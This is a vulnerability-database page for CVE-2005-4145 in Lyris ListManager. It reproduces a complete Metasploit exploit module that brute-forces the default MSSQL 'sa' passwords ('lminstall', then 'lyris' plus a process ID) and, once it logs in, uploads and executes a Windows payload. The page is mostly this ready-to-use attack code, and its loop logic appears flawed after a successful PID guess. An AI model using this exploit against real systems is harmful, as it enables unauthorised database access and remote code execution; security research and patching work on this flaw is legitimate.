Lucene search
K

Lyris ListManager MSDE Weak sa Password

🗓️ 26 Nov 2009 00:00:00Reported by H D MooreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

Lyris ListManager MSDE Weak sa Password vulnerability. Exploits weak 'sa' account passwords set during installation, allowing for brute force of process IDs.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2005-4145
20 Sep 201000:00
circl
CVE
CVE-2005-4145
10 Dec 200511:00
cve
Cvelist
CVE-2005-4145
10 Dec 200511:00
cvelist
Exploit DB
Lyris ListManager - MSDE Weak sa Password (Metasploit)
20 Sep 201000:00
exploitdb
Tenable Nessus
Lyris ListManager MSDE Weak sa Password
16 Jan 200600:00
nessus
Metasploit
Lyris ListManager MSDE Weak sa Password
18 Oct 200921:46
metasploit
NVD
CVE-2005-4145
10 Dec 200511:03
nvd
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::MSSQL  
  
def initialize(info = {})  
  
super(update_info(info,  
'Name' => 'Lyris ListManager MSDE Weak sa Password',  
'Description' => %q{  
This module exploits a weak password vulnerability in the  
Lyris ListManager MSDE install. During installation, the 'sa'  
account password is set to 'lminstall'. Once the install  
completes, it is set to 'lyris' followed by the process  
ID of the installer. This module brute forces all possible  
process IDs that would be used by the installer.  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
  
[ 'OSVDB', '21559'],  
[ 'CVE', '2005-4145']  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0   
))  
end  
  
def exploit  
  
# New installations use a randomly generated suffix like "lyris629dAe536F"  
pass = nil  
  
while(true)  
print_status("Trying to authenticate with password 'lminstall'...")   
if(mssql_login('sa', 'lminstall'))  
pass = 'lminstall'  
break  
end  
  
print_status("Trying to authenticate with passwords 'lyris1' to 'lyris65535'...")  
1.upto(65535) do |pid|  
  
if(pid % 1000 == 0)  
print_status(" >> Completed #{pid} of 65535 authentication requests")  
end  
  
if(mssql_login('sa', "lyris#{pid}"))  
pass = "lyris#{pid}"  
break  
end   
end  
print_status("This system does not appear to be exploitable")  
return  
end   
  
print_status("")  
print_status("Sucessfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")  
print_status("")  
  
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded))  
  
handler  
disconnect  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Nov 2009 00:00Current
6.7Medium risk
Vulners AI Score6.7
EPSS0.6483
32